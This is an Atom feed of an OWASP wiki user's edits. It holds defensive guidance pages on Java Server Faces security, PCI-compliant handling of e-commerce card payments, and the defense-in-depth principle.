<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Shady</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Shady"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Shady"/>
		<updated>2026-04-28T22:00:45Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Java_Server_Faces&amp;diff=151420</id>
		<title>Java Server Faces</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Java_Server_Faces&amp;diff=151420"/>
				<updated>2013-05-12T18:07:28Z</updated>
		
		<summary type="html">&lt;p&gt;Shady: fix link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Status==&lt;br /&gt;
Under review 10/3/2008&lt;br /&gt;
&lt;br /&gt;
==Web security.. before you start ==&lt;br /&gt;
&lt;br /&gt;
This document is about security in web applications developed using the Java Server Faces (JSF) framework. The reader should be aware of the meaning of common terms of both JSF (converters, validators, managed beans) and web security (injection etc.)&lt;br /&gt;
&lt;br /&gt;
==JSF Standards and roles==&lt;br /&gt;
JavaServer Faces (JSF) is a Java-based Web application framework that implements the Model-View-Controller pattern and simplifies the development of web interfaces for Java EE applications.&lt;br /&gt;
&lt;br /&gt;
In a standard MVC JSF are meant to provide the V (of view) and part of the C (of Control). JSF components can present almost any basic interface model. The framework also provides part of the Control layer including:&lt;br /&gt;
* Navigation Handling &lt;br /&gt;
* Error Handling &lt;br /&gt;
* Action and event Management &lt;br /&gt;
* Input validation &lt;br /&gt;
* Value conversion &lt;br /&gt;
These elements are defined by the JSF standard (JCP 127) so that any attacker will have knowledge of the architecture and life cycle of a JSF based application. JSF does not implement its own security model but instead relies on standard JEE security. This means that both application server security model, JAAS or other ACL implementations can be used with the JSF framework without any integration effort. But Access Control is just one part of security - all aspects should be implemented in a secure manner in order to consider the application itself secure.&lt;br /&gt;
&lt;br /&gt;
==Client-side state saving==&lt;br /&gt;
A JSF application can save the state of its components in the client response or on the server. Saving state on the client may be required because some users turn off cookies support, but it can increase response times when connections are slow. Saving state on the server may have the disadvantage of high memory consumption for the user, but it does minimize bandwidth requirements.&lt;br /&gt;
Since client-side state saving stores data in the client , it should be used wisely, or not used at all. An attacker that can manipulate a user's data could manage a data tampering or worst, a privilege escalation exploit. Unencrypted data is quite easy to manipulate and most of the client-side saved data are serialized Java objects  which can contain a wealth of sensitive data. If you plan to use client-side state saving carefully consider which information you decide to store in the POJO/DTO in order to minimise these risks.&lt;br /&gt;
==Components==&lt;br /&gt;
===Converters===&lt;br /&gt;
Converter could be a source of threat since it converts string in Java objects. An attacker could inject malicious code or tampered data to make the converter itself misbehave and expose protected data. The converter system is not insecure by itself, but conversion, since it is a security touch point for business logic and persistent data, should be handled carefully. Input should '''always''' be validated '''after''' being converted. In JSF lingo you should '''always''' have a validator if a conversion occurs. See next section on how to implement a security aware validator.&lt;br /&gt;
&lt;br /&gt;
===Validators===&lt;br /&gt;
Validation is your chance to verify that the input is as expected. This means that the input should be validated both from a domain view and from a security view. If input represents a string that in your domain should be from 10 to 254 characters long, the same string should be validated also to prevent SQL Injection and XSS attacks. Since many security checks are done using dictionary algorithms it's useful to have a validator that implements those checks and extends it to implement your domain validator.&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
 public class TenToHundredsValidator extends SecureValidator() {&lt;br /&gt;
    public void validate(...) {&lt;br /&gt;
       &lt;br /&gt;
       super.validate(...); // Do security checks&lt;br /&gt;
       &lt;br /&gt;
       domainvalidate(....);&lt;br /&gt;
    }&lt;br /&gt;
 }          &lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===ManagedBeans===&lt;br /&gt;
Managed beans are the gears of JSF based application. Developers can access FacesContext statically and this is potentially dangerous. This is a common short cut for everything in the JSF layer, but manipulating this data could be harmful. Relying on security principals, and software engineering, is always a good approach.&lt;br /&gt;
Calls such as:&lt;br /&gt;
    FacesContext.getCurrentInstance().getExternalContext().getRequestParameter(&amp;quot;name&amp;quot;)&lt;br /&gt;
are dangerous because the whole validation stack is bypassed. You can read parameters but consider them as tainted input. Use Validators described above also if you are not in the validation phase . Validators are also an effective way to refactor your validation code and to prevent code repetition.&lt;br /&gt;
FacesContext  also allows access to user principal data; this data could be used to verify if the current user can actually execute the business logic in the managed Bean.&lt;br /&gt;
This practice should be adopted in favour of rendering or not the commandLinks that lead to the action of the managed Bean. A structured adoption of an execution based security framework , such as ACEGI (see the Appendix), could be a good enforcement of the security of the  managed bean.&lt;br /&gt;
===Custom components===&lt;br /&gt;
If the use of custom components is required in the application, the security depends on how the components are developed. Third party components should be delivered with a security report and support from the specific vendor or community.&lt;br /&gt;
If you develop custom components you should be aware of the same old security issues of web development:&lt;br /&gt;
* Do not trust request parameter &lt;br /&gt;
* Do not trust cookies &lt;br /&gt;
* Always consider that session could be hijacked &lt;br /&gt;
Since the component tree is assembled server side it can be trusted so if your custom component needs to read data from a sibling component it should be considered a safe operation although you will have to make assumptions on element names of the tree.&lt;br /&gt;
&lt;br /&gt;
==Implementations==&lt;br /&gt;
Since more than one JSF Implementation exists, bugs of the implementation should be first on the security list.&lt;br /&gt;
&lt;br /&gt;
===MyFaces===&lt;br /&gt;
There aren't major or critical security bugs registered in the current stable release of MyFaces (1.1.5). Client state saving is still the weak point and should be used wisely. My Faces comes also with a Security Extension  (http://wiki.apache.org/myfaces/SecurityContext) that allows to safely and easily retrieve authenticated user details.&lt;br /&gt;
&lt;br /&gt;
The MyFaces resource filter could be a source of threat. It is designed to expose resources from a jar file and could therefore, be considered, potentially dangerous. Note there aren't any claimed security flaws nor exploits in the resource filter, but the nature of this component makes it a good target for attackers. Since all it has to do is serve data it is recommended that a dispatcher be added to the filter mapping element. This should lower the possibility of an attacker successfully manipulating the server request.&lt;br /&gt;
For more information see: http://myfaces.apache.org/tomahawk/extensionsFilter.html&lt;br /&gt;
&lt;br /&gt;
There is also an easy way to enable encryption when using ''client save state''&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;context-param&amp;gt;&lt;br /&gt;
        &amp;lt;param-name&amp;gt;org.apache.myfaces.secret&amp;lt;/param-name&amp;gt;&lt;br /&gt;
        &amp;lt;param-value&amp;gt;NzY1NDMyMTA=&amp;lt;/param-value&amp;gt;&lt;br /&gt;
    &amp;lt;/context-param&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Supported encryption methods are BlowFish, 3DES, AES and are definde bya a context parameter&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;context-param&amp;gt;&lt;br /&gt;
        &amp;lt;param-name&amp;gt;org.apache.myfaces.algorithm&amp;lt;/param-name&amp;gt;&lt;br /&gt;
        &amp;lt;param-value&amp;gt;Blowfish&amp;lt;/param-value&amp;gt;&lt;br /&gt;
    &amp;lt;/context-param&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can find mre info at http://wiki.apache.org/myfaces/Secure_Your_Application&lt;br /&gt;
&lt;br /&gt;
===SUN Reference Implementation===&lt;br /&gt;
Quoting from the documentation:&lt;br /&gt;
''There are several ways for a web application to store session state on the client tier. One possible solution is to use Cookies to store the state on the client. However, cookies have limitations in size and are not ideal in cases where you want to store session state on the client.  The state that needs to be stored on the client is first serialized into a byte array. This byte array is then encrypted using industrial-strength 3DES with cipher-block-chaining (CBC) and an initialization vector. To make the content tamper-resistant, we then create a message authentication code (using SHA1 algorithm) from the encrypted content and the initialization vector. The initialization vector, the message authentication code, and the encrypted content is then combined in a single byte array. Finally, this resulting byte array is converted into a base64 string which is stored in a hidden FORM field on the client.&lt;br /&gt;
This solution is secure because it uses a strong crypto algorithm and also uses a MAC for tamper-resistance. We also generate all the random numbers (for example, to generate the initialization vectors and the password) using the cryptographically-secure SecureRandom class. Note that the encryption keys are NEVER sent to the client or sent on the wire. These keys are used only on the server-side to encrypt and decrypt the state. One challenge is to decide what encryption keys to use. The encryption keys should not be known to the client, but still be associated with the client. We solve this problem by generating these keys from a password that is generated randomly and stored in the HttpSession. This strategy for key generation through password is pluggable in our solution and can be changed if needed.''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===ICE Faces===&lt;br /&gt;
&lt;br /&gt;
Starting from the idea that AJAX on Its Own Doesn't Corrupt Web Security ICE faces implements a component suite with ajax support by maintainig a coninus sync between the dom sent to the browser and a dom representation on the server. javascript is used to send commands to the server and invoke the logic in the java layer. Since dom model and javascript is involved a Javascript debugging  tool with value injection or dom injection capability could be of some use in pick locking the app.&lt;br /&gt;
&lt;br /&gt;
As stated in ICEFaces manual &amp;quot; the client is untrusted, SO DON'T TRUST IT!!&amp;quot; : it means that is all ups to the application designer to implement a robust security logic behind the scenes.&lt;br /&gt;
In another point of view the developer could focus on implementing server side security since with the server-side-dom architecture the thin client is even thinner.&lt;br /&gt;
&lt;br /&gt;
The component that refresh the two dom , caled IntervalRenderer, uses  a persistent ServletRequest stored on the server. Unfortunately, this request does not contain sufficient information to perform the isUserInRole() check.&lt;br /&gt;
This kind of check is possible only on stadar render request phase. &lt;br /&gt;
&lt;br /&gt;
To address this, a small amount of integration will be required either between ICEfaces and acegi-security or ICEfaces and the application server.  Acegi-security (see appendix one ) is likely preferable as it will be more portable.&lt;br /&gt;
&lt;br /&gt;
==Apendix I==&lt;br /&gt;
&lt;br /&gt;
===ACEGI Integration===&lt;br /&gt;
&lt;br /&gt;
Acegi Security is a powerful, flexible security solution for enterprise software, with a particular emphasis on applications that use Spring. If used in combination with jsf, the managed beans could become more &amp;quot;security aware&amp;quot; since acegi do not only perform authentication but also authorization in business layer. Acegi is a convenient way to manage security in all the layers of our application. This is a valuable thing especially when authorization is strongly coupled with business logic (approval work flows etc).&lt;br /&gt;
&lt;br /&gt;
In order to use a custom JSF-Acegi login we have to provide a valid Security Context (''userName'' and ''password'' are properties of the managed bean)&lt;br /&gt;
&lt;br /&gt;
 UsernamePasswordAuthenticationToken authReq = new UsernamePasswordAuthenticationToken(userName, password);&lt;br /&gt;
 Authentication auth = getAuthenticationManager().authenticate(authReq);&lt;br /&gt;
 SecurityContext secCtx = SecurityContextHolder.getContext();&lt;br /&gt;
 secCtx.setAuthentication(auth);&lt;br /&gt;
&lt;br /&gt;
We can override the standard ACEGI navigation with custom, logic driven, navigation reading security context and routing the outcome.&lt;br /&gt;
&lt;br /&gt;
More information can be found at  here [http://www.javakaffee.de/blog/2006/07/04/jsfacegi-authentication-with-a-backing-bean/]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ACEGI can be integrated also in the rendering via custom components [http://cagataycivici.wordpress.com/2006/01/19/acegi_jsf_components_hit_the/] which basically wrap the standard ACEGI tag library in JSF components. This conveniently solve the ''stage zero'' of profiling: display or not a widget in the page.&lt;br /&gt;
&lt;br /&gt;
Including a JSF based form for login in a page could be a little tricky, bu using MyFaces tomahawk components it can be done easely.&lt;br /&gt;
&lt;br /&gt;
The form will look like&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;%@ taglib uri=&amp;quot;http://myfaces.apache.org/tomahawk&amp;quot; prefix=&amp;quot;t&amp;quot;%&amp;gt;&lt;br /&gt;
 &amp;lt;t:inputText id=&amp;quot;j_username&amp;quot; forceId=&amp;quot;true&amp;quot; value=&amp;quot;#{backingBean.customerId}&amp;quot; size=&amp;quot;40&amp;quot; maxlength=&amp;quot;80&amp;quot;&amp;gt;&amp;lt;/t:inputText&amp;gt;&lt;br /&gt;
 &amp;lt;t:inputSecret id=&amp;quot;j_password&amp;quot; forceId=&amp;quot;true&amp;quot; value=&amp;quot;#{backingBean.password}&amp;quot; size=&amp;quot;40&amp;quot; maxlength=&amp;quot;80&amp;quot; redisplay=&amp;quot;true&amp;quot;&amp;gt;&amp;lt;/t:inputSecret&amp;gt;&lt;br /&gt;
 &amp;lt;h:commandButton action=&amp;quot;login&amp;quot; value=&amp;quot;#{messages.page_signon}&amp;quot;/&amp;gt;&lt;br /&gt;
 &amp;lt;h:messages id=&amp;quot;messages&amp;quot; layout=&amp;quot;table&amp;quot; globalOnly=&amp;quot;true&amp;quot; showSummary=&amp;quot;true&amp;quot; showDetail=&amp;quot;false&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A navigation rule to follow ACEGI requirements&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;navigation-rule&amp;gt;&lt;br /&gt;
        &amp;lt;from-view-id&amp;gt;/login.jsp&amp;lt;/from-view-id&amp;gt;&lt;br /&gt;
        &amp;lt;navigation-case&amp;gt;&lt;br /&gt;
                &amp;lt;from-outcome&amp;gt;login&amp;lt;/from-outcome&amp;gt;&lt;br /&gt;
                &amp;lt;to-view-id&amp;gt;/j_acegi_security_check.jsp&amp;lt;/to-view-id&amp;gt;&lt;br /&gt;
        &amp;lt;/navigation-case&amp;gt;&lt;br /&gt;
 &amp;lt;/navigation-rule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
And finaly ACEGI is told which page do the login&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;bean id=&amp;quot;formAuthenticationProcessingFilter&amp;quot; class=&amp;quot;org.acegisecurity.ui.webapp.AuthenticationProcessingFilter&amp;quot;&amp;gt;&lt;br /&gt;
        &amp;lt;property name=&amp;quot;filterProcessesUrl&amp;quot;&amp;gt;&lt;br /&gt;
                &amp;lt;value&amp;gt;/j_acegi_security_check.jsp&amp;lt;/value&amp;gt;&lt;br /&gt;
        &amp;lt;/property&amp;gt;&lt;br /&gt;
        &amp;lt;property name=&amp;quot;authenticationFailureUrl&amp;quot;&amp;gt;&lt;br /&gt;
                &amp;lt;value&amp;gt;/login.faces&amp;lt;/value&amp;gt;&lt;br /&gt;
        &amp;lt;/property&amp;gt;&lt;br /&gt;
        ...&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Java Project]]&lt;/div&gt;</summary>
		<author><name>Shady</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Handling_E-Commerce_Payments&amp;diff=151419</id>
		<title>Handling E-Commerce Payments</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Handling_E-Commerce_Payments&amp;diff=151419"/>
				<updated>2013-05-12T18:06:28Z</updated>
		
		<summary type="html">&lt;p&gt;Shady: Further Reading&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Guide Table of Contents|Development Guide Table of Contents]]&lt;br /&gt;
__TOC__&lt;br /&gt;
&lt;br /&gt;
Commerce using the Internet relies solely on trust; users will not use systems that they believe are insecure.  This chapter presents best practices compliant with the Payment Card Industry (PCI) guidelines. PCI compliance is mandatory for merchants, third party processors, and service bureaus - not optional. &lt;br /&gt;
&lt;br /&gt;
While this chapter summarizes several key PCI DSS requirements and offers implementation guidelines, it is not a substitute for utilizing the PCI DSS as a baseline.&lt;br /&gt;
&lt;br /&gt;
There are three documents which are useful in this regards. &lt;br /&gt;
&lt;br /&gt;
* PCI DSS 1.1&lt;br /&gt;
&lt;br /&gt;
* PCI Self Assessment Guide - ''The self assessment currently only covers PCI 1.0 requirements - the 1.1 version is forthcoming''&lt;br /&gt;
&lt;br /&gt;
* PCI Security Audit Procedure v.1.1 - ''This is the audit guide utilized by PCI QSA for performing a Level 1 assessment, but the requirements are mandatory for all levels of merchant ''&lt;br /&gt;
&lt;br /&gt;
These documents can be accessed via the Further Reading section at the bottom of this article.&lt;br /&gt;
&lt;br /&gt;
==Objectives ==&lt;br /&gt;
&lt;br /&gt;
This chapter sets out to document methods to:&lt;br /&gt;
&lt;br /&gt;
* Secure Payment Account Number handling&lt;br /&gt;
&lt;br /&gt;
* Minimize fraud from cardholder not present (CNP) transactions&lt;br /&gt;
&lt;br /&gt;
* Maximize privacy and trust for users of e-commerce systems&lt;br /&gt;
&lt;br /&gt;
* Comply with all local laws and PCI (merchant agreement) standards&lt;br /&gt;
&lt;br /&gt;
==Compliance and Laws ==&lt;br /&gt;
&lt;br /&gt;
If you are an e-commerce merchant, you must comply with all your local laws, such as all tax acts, trade practices, Sale of Goods (or similar) acts, lemon laws (as applicable), and so on.  You should consult a source of legal advice competent for your jurisdiction to find out what is necessary.&lt;br /&gt;
&lt;br /&gt;
If you are a credit card merchant, you have agreed to the credit card merchant agreements.  Typically, these are extremely strict about the amounts of fraud allowed, and the guidelines for “card holder not present” transactions.  You must read and follow your agreement. &lt;br /&gt;
&lt;br /&gt;
'''If you do not understand your agreement, you should consult your bank’s merchant support for more information. '''&lt;br /&gt;
&lt;br /&gt;
==PCI Compliance ==&lt;br /&gt;
&lt;br /&gt;
In brief, here are the twelve requirements you are required to use if you are going to handle credit card payments:&lt;br /&gt;
&lt;br /&gt;
{| border=1&lt;br /&gt;
 || '''Goal''' || '''Action'''&lt;br /&gt;
|-&lt;br /&gt;
 || Build and maintain a secure network || Install and maintain a firewall configuration to protect data&lt;br /&gt;
|-&lt;br /&gt;
 ||  || Do not use vendor-supplied defaults for system passwords and other security parameters&lt;br /&gt;
|-&lt;br /&gt;
 || Protect Cardholder Data || Protect stored data&lt;br /&gt;
|-&lt;br /&gt;
 ||  || Encrypt transmission of cardholder data and sensitive information across public networks&lt;br /&gt;
|-&lt;br /&gt;
 || Maintain a Vulnerability Management Program || Use and regularly update anti-virus software&lt;br /&gt;
|-&lt;br /&gt;
 ||  || Develop and maintain secure systems and applications&lt;br /&gt;
|-&lt;br /&gt;
 || Implement Strong Access Control Measures || Restrict access to data by business need-to-know&lt;br /&gt;
|-&lt;br /&gt;
 ||  || Assign a unique ID to each person with computer access&lt;br /&gt;
|-&lt;br /&gt;
 ||  || Restrict physical access to cardholder data&lt;br /&gt;
|-&lt;br /&gt;
 || Regularly Monitor and Test Networks || Track and monitor all access to network resources and cardholder data&lt;br /&gt;
|-&lt;br /&gt;
 ||  || Regularly test security systems and processes&lt;br /&gt;
|-&lt;br /&gt;
 || Maintain an Information Security Policy || Maintain a policy that addresses information security&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Handling Credit Cards  ==&lt;br /&gt;
&lt;br /&gt;
Every week, we read about yet another business suffering the ultimate humiliation - their entire customer's credit card data stolen... again. What is not stated is that this is often the end of the business (see CardSystems being revoked by Visa and AMEX in the ''Further Reading'' section).  Customers hate being forced to replace their credit cards and fax in daily or weekly reversals to their bank’s card services. Besides customer inconvenience, merchants breach their merchant agreement with card issuers if they have insufficient security.  No merchant agreement is the death knell for modern Internet enabled businesses.&lt;br /&gt;
&lt;br /&gt;
This section details how you should handle and store payment transactions. &lt;br /&gt;
&lt;br /&gt;
=== Payment Card Handling Best Practices ===&lt;br /&gt;
&lt;br /&gt;
The PCI DSS 1.1 restricts which card data elements can and cannot be stored. While the ultimate guide is the PCI DSS document, card handling best practices are summarized below, along with guidelines for implementing the requirements.&lt;br /&gt;
&lt;br /&gt;
Following is a summary of Payment Card elements which can, and can't be stored:&lt;br /&gt;
&lt;br /&gt;
'''Storage permitted but protection required:'''&lt;br /&gt;
&lt;br /&gt;
PAN (Primary Account Number) -'' Must be stored in unreadable form per PCI DSS 3.4. Strong one way hash, truncation, index tokens and pads with secure storage for pads, or strong cryptography with associated key management processes and procedures are allowed.''&lt;br /&gt;
&lt;br /&gt;
Cardholder Name&lt;br /&gt;
&lt;br /&gt;
Service Code&lt;br /&gt;
&lt;br /&gt;
Expiration Date&lt;br /&gt;
&lt;br /&gt;
''The PAN, at minimum, should not be stored in a readable format.''&lt;br /&gt;
&lt;br /&gt;
There are a number of commercial database encryption vendors with products that perform column and database level encryption. Used properly, these fulfill the 'strong cryptography with associated key management processes and procedures' requirement. Several are listed in the references at the bottom of this page. This type of solution is typically used for recurring transactions.&lt;br /&gt;
&lt;br /&gt;
'''Sensitive authentication data - storage not allowed:'''&lt;br /&gt;
&lt;br /&gt;
Full magnetic stripe&lt;br /&gt;
&lt;br /&gt;
CVC2/CVV2/CID&lt;br /&gt;
&lt;br /&gt;
PIN / PIN Block&lt;br /&gt;
&lt;br /&gt;
===Auth numbers ===&lt;br /&gt;
&lt;br /&gt;
After successfully processing a transaction, you are returned an authorization number.  This is unique per transaction and has no intrinsic value of its own.  It is safe to store this value, write it to logs, present it to staff, and e-mail to the customer.&lt;br /&gt;
&lt;br /&gt;
===Handling Recurring payments ===&lt;br /&gt;
&lt;br /&gt;
About the only business reason for storing credit card numbers is recurring payments.  However, you have several responsibilities if you support recurring payments: &lt;br /&gt;
&lt;br /&gt;
* You must follow the terms of your merchant agreement.  Most merchant agreements require you to have original signed standing authorizations from credit card holders. This bit of signed paper will help you if the customer challenges your charges.&lt;br /&gt;
&lt;br /&gt;
* It is best practice to encrypt credit card numbers.  This as a mandatory requirement in the PCI guidelines &lt;br /&gt;
&lt;br /&gt;
* Limit the term of the recurring payment to no more than one year, particularly if you have “Card holder not present” (CNP) transactions&lt;br /&gt;
&lt;br /&gt;
* Expunge the credit card details as soon as the agreement is finished&lt;br /&gt;
&lt;br /&gt;
The problem with encryption is that you must be able to decrypt the data later on in the business process.  When choosing a method to store cards in an encrypted form, remember there is no reason why the front-end web server needs to be able to decrypt them. Database-layer column or table level encryption is considered best practice.&lt;br /&gt;
&lt;br /&gt;
===Displaying portions of the credit card  ===&lt;br /&gt;
&lt;br /&gt;
PCI only allows the presentation of the first six (the BIN) or the last four digits.  We strongly urge you to not display the credit card at all if it can be avoided. &lt;br /&gt;
&lt;br /&gt;
There are many reasons why tracing, sending or presenting a credit card number can be handy, but it is not possible to present credit card numbers safely due to several reasons:&lt;br /&gt;
&lt;br /&gt;
* If a large organization has several applications, all with different algorithms to present an identifying portion of the credit card, the card number might be disclosed. &lt;br /&gt;
&lt;br /&gt;
* Sending an email invoice is a low cost method of informing users of charges to their credit cards.  However, email is not secure.&lt;br /&gt;
&lt;br /&gt;
* For many workplaces, call center staff traditionally has high employee turnover rates which means credit card info exposed to these employees will quickly spread outside the workplace.&lt;br /&gt;
&lt;br /&gt;
* Logs are not attacked to eliminate evidence, but to obtain additional secrets such as credit card info.&lt;br /&gt;
&lt;br /&gt;
* In countries with relatively few banking institutions, the institutional BIN numbers are limited.  Therefore, it is possible to guess workable BIN numbers and thus reconstruct a card number even if most of the card number has been obscured. &lt;br /&gt;
&lt;br /&gt;
Most credit cards consist of 16 digits (although some are 14 or 15 digits, such as Amex):&lt;br /&gt;
&lt;br /&gt;
'''XXXX XXYY YYYY YYYC '''&lt;br /&gt;
&lt;br /&gt;
C is the checksum. X is the BIN number, which refers to the issuing institution.  Y is the client's card number. &lt;br /&gt;
&lt;br /&gt;
'''You must not store the CCV, CCV2 and PVV (or PIN Verification Value).''' These are a credit card validation field used by many payment gateways to protect against imprint fraud as the value is on the reverse of the card.  Storing this value is not allowed as per sections 3.2.3 and 3.4. &lt;br /&gt;
&lt;br /&gt;
* For online forms, you must use a &amp;quot;password&amp;quot; type field for CCVs to provide some protection against shoulder-surfing.  Some browsers cannot tell the difference between this and a login form, and will offer to remember the details.  This is not good, because it interrupts the checkout process and many users click &amp;quot;Yes&amp;quot; without thinking and thus violate their card holder agreement.  Adding ''autocomplete=&amp;quot;off&amp;quot;'' to the form tag will prevent many browsers from doing this.&lt;br /&gt;
&lt;br /&gt;
For these reasons, it is strongly recommended that you do not present the user or your staff with open or obscured credit card numbers. If possible, do not to display any digits of a credit card at all – just the expiration date.&lt;br /&gt;
&lt;br /&gt;
===Patching and maintenance ===&lt;br /&gt;
&lt;br /&gt;
The PCI DSS 6.6 requires that patches are applied within one month of becoming available for any part of your system that stores, processes, or transmits payment card information. Additionally, a formal change management process and patch testing procedure must be in place, utilizing separate development, test, and production environments.&lt;br /&gt;
&lt;br /&gt;
===Reversals ===&lt;br /&gt;
&lt;br /&gt;
There are two potential frauds from reversals: an insider pushing money from the organization's account to a third party, and an outsider who has successfully figured out how to use an automated reversal process to &amp;quot;refund&amp;quot; money which is not owing, for example by using negative numbers.&lt;br /&gt;
&lt;br /&gt;
* Reversals should always be performed by hand, and should be signed off by two distinct employees or groups.  This reduces the risk from internal and external fraud. &lt;br /&gt;
&lt;br /&gt;
* It is essential to ensure that all values are within limits, and signing authority is properly assigned. &lt;br /&gt;
&lt;br /&gt;
For example, in Melbourne, Australia in 2001, a trusted staff member used a mobile EFTPOS terminal to siphon off $400,000 from a sporting organization.  If the person had been less greedy, she would never have been caught. &lt;br /&gt;
&lt;br /&gt;
It is vital to understand the amount of fraud the organization is willing to tolerate.&lt;br /&gt;
&lt;br /&gt;
===Chargeback ===&lt;br /&gt;
&lt;br /&gt;
A chargeback is a credit card transaction that is billed back to the merchant after the sale has been settled - chargebacks are initiated by the card issuer on behalf of the card holder. Typically, card holder disputes involve product delivery failure or product/service dissatisfaction. &lt;br /&gt;
&lt;br /&gt;
Card issuers and merchant banks take a dim view of merchants with high charge back ratios as it costs them a lot of time and money and might indicate lack of fraud control.&lt;br /&gt;
&lt;br /&gt;
You can take some simple steps to lower your risks. These are: &lt;br /&gt;
&lt;br /&gt;
* Money is not negative.  Use strong typing to force zero or positive numbers, and prevent negative numbers. &lt;br /&gt;
&lt;br /&gt;
* In your source code, don't overload a charge function to be a reversal function by allowing negative values. &lt;br /&gt;
&lt;br /&gt;
* Require logging, auditing, and manual authorization for all charge backs and reversals.&lt;br /&gt;
&lt;br /&gt;
* There should be no code on your web site for automating reversals or charge backs.&lt;br /&gt;
&lt;br /&gt;
* Don't ship goods until you have an authorization receipt from the payment gateway.&lt;br /&gt;
&lt;br /&gt;
* The overwhelming majority of credit cards have a strong relationship between BIN numbers and the issuing institution's country. Strongly consider not shipping goods to out-of-country BIN cards.&lt;br /&gt;
&lt;br /&gt;
* For high value goods, consider making the payment with an over-the-phone or fax authorized process.&lt;br /&gt;
&lt;br /&gt;
Some customers will try charge backs one time too many. Keep tabs on customers who charge back, and decide if they present excessive risk.&lt;br /&gt;
&lt;br /&gt;
Always ask for the customer's email as well as the phone number that the issuing institution has for the customer. This helps if other red flags pop up.&lt;br /&gt;
&lt;br /&gt;
Attackers look for soft targets. Make it known on your website that you prosecute fraud to the fullest extent of the law and all transactions are fully logged.&lt;br /&gt;
&lt;br /&gt;
==Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* AMEX, Visa, Mastercard, Discover, JCB, Diner’s Club – Payment Card Industry&lt;br /&gt;
&lt;br /&gt;
Payment Card Industry (PCI) Data Security Standards council&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;https://www.pcisecuritystandards.org&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
PCI DSS Documents Library&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;https://www.pcisecuritystandards.org/security_standards/documents.php&amp;lt;/u&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Commercial database encryption products&lt;br /&gt;
&lt;br /&gt;
Application Security Inc. DBEncrypt - &amp;lt;u&amp;gt;http://www.appsecinc.com/products/dbencrypt/index.shtml&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* News Articles: TJX Data Breach&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;http://www.securityfocus.com/news/11438&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;http://www.eweek.com/article2/0,1895,2106322,00.asp&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* News Article: Visa and AMEX revoke CardSystems for PCI breaches:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;http://www.theregister.co.uk/2005/07/19/cardsystems/&amp;lt;/u&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Reference== &lt;br /&gt;
[[Guide Table of Contents|Development Guide Table of Contents]]&lt;br /&gt;
[[Category:OWASP_Guide_Project]]&lt;/div&gt;</summary>
		<author><name>Shady</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Defense_in_depth&amp;diff=151418</id>
		<title>Defense in depth</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Defense_in_depth&amp;diff=151418"/>
				<updated>2013-05-12T18:02:39Z</updated>
		
		<summary type="html">&lt;p&gt;Shady: link works&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Principle}}&lt;br /&gt;
&lt;br /&gt;
{{Template:Stub}}&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
The principle of defense-in-depth is that layered security mechanisms increase security of the system as a whole. If an attack causes one security mechanism to fail, other mechanisms may still provide the necessary security to protect the system. For example, it is not a good idea to totally rely on a firewall to provide security for an internal-use-only application, as firewalls can usually be circumvented by a determined attacker (even if it requires a physical attack or a social engineering attack of some sort). Other security mechanisms should be added to complement the protection that a firewall affords (e.g., surveillance cameras, and security awareness training) that address different attack vectors. &lt;br /&gt;
&lt;br /&gt;
Implementing a defense-in-depth strategy can add to the complexity of an application, which runs counter to the “simplicity” principle often practiced in security. That is, one could argue that adding new protection functionality adds additional complexity that might bring new risks with it. The total risk to the system needs to be weighed. For example, an application with username/password-based authentication may not benefit from increasing the required password length from eight characters to 15 characters as the added complexity may result in users writing their passwords down, thus decreasing the overall security to the system; however, adding a smart-card requirement to authenticate to the application would enhance the security of the application by adding a complementary layer to the authentication process.&lt;br /&gt;
